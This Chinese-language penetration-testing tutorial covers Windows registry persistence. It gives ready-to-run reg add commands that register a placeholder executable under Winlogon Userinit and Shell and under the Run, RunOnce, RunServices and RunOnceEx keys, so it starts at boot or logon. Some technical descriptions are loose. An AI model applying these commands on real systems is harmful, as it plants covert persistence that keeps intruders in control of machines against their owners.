一. 注册表方法
1. 操作 Userinit 的值
- 功能: 在系统每次启动时运行
C:\tmp\pentestlab.exe
。 - 位置说明:
Userinit
键包含一组程序,这些程序会在用户登录时自动启动。 - 作用范围: 对所有用户有效,所有用户登录时均会运行。
- 实战命令:
-
- 先查询原来的值
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit
将得到后的结果加入到下面
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\XXXXXXXXX.exe" /f
将你的自定义程序路径:C:\XXXXXXXXXXX.exe 追加到原来的目标程序后面。
- 先查询原来的值
2. 操作 Shell 的值
- 功能: 在系统每次启动时运行
C:\tmp\pentestlab.exe
。 - 位置说明:
Shell
键包含一组程序,这些程序会在用户登录时自动启动。 - 作用范围: 对所有用户有效,所有用户登录时均会运行。
- 实战命令:
- 查询原有的值
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell
- 将上面查到到的内容与你自己的程序路径追加进去(PS: 这里切记不可携带路径,只能填文件名,把文件上传到【C:\Windows】目录中即可。否则会造成黑屏风险!)
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe,xxxx.exe" /f
恢复命令
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe" /f
- 查询原有的值
3. 操作 Run 值
- 功能: 在系统每次启动时运行
C:\tmp\pentestlab.exe
。 - 位置说明:
Run
键包含一组程序,这些程序会在用户登录时自动启动。 - 作用范围: 对所有用户有效,所有用户登录时均会运行。
- 实战命令:
全局有效与当前用户的区别在于开头的:
HKEY_LOCAL_MACHINE
与HKEY_CURRENT_USER
- 全局有效
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
- 全局有效
-
- 当前用户有效
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- 实际命令
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\XXXXXX.exe"
- 当前用户有效
4. 操作 RunOnce 值
- 功能: 在下次系统启动时运行
C:\tmp\pentestlab.exe
,但只会运行一次,运行后对应的注册表项会被自动删除。 - 介绍说明:
-
RunOnce
键在现代 Windows 版本(Windows 10/11)中完全支持。- 程序运行后,系统会自动删除对应键值,确保只运行一次。
-
- 作用范围: 对所有用户有效。
- 实战命令
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\XXXXXXXX.exe"
5. 操作 RunServices 值
- 功能: 在系统启动时作为服务运行
C:\tmp\pentestlab.exe
。 - 位置说明:
RunServices
键指定的是在操作系统加载前运行的服务程序(在用户登录前)。 - 作用范围: 对所有用户有效,适合后台服务类程序。
- 作用系统:Windows 2000 和 XP 和 2003
- 实战命令:
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
6. 操作 RunServicesOnce 值
- 功能: 在下次系统启动时作为服务运行
C:\tmp\pentestlab.exe
,但只会运行一次,运行后对应的注册表项会被自动删除。 - 介绍说明:
RunServicesOnce
键适用于一次性启动的服务程序。RunServicesOnce
和RunServices
是较早版本的 Windows(如 Windows 2000 和 XP)中常用的键。- 在现代版本的 Windows(如 Windows 10 和 11)中,推荐使用
Run
键,因为RunServices
和RunServicesOnce
的支持可能较弱或行为不一致。
- 作用范围: 对所有用户有效。
- 作用系统:Windows 2000 和 XP 和 2003
- 实战命令:
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
7. 操作 RunOnceEx 值
- 功能: 在下次系统启动时作为服务运行
C:\tmp\pentestlab.exe
,但只会运行一次,运行后对应的注册表项会被自动删除。 - 介绍说明:
RunOnceEx
键适用于一次性启动的服务程序。- 支持多任务和依赖关系:
RunOnceEx
提供比RunOnce
更多的灵活性,允许定义多个任务并指定任务的依赖顺序。依赖项通常用于确保任务在依赖资源加载后才运行。 - 运行后自动删除:
与RunOnce
类似,RunOnceEx
的任务在执行完成后会从注册表中自动删除。
- 支持多任务和依赖关系:
- 作用范围: 对所有用户有效。
- 实战命令:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v Command /t REG_SZ /d "C:\tmp\pentestlab.exe"
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容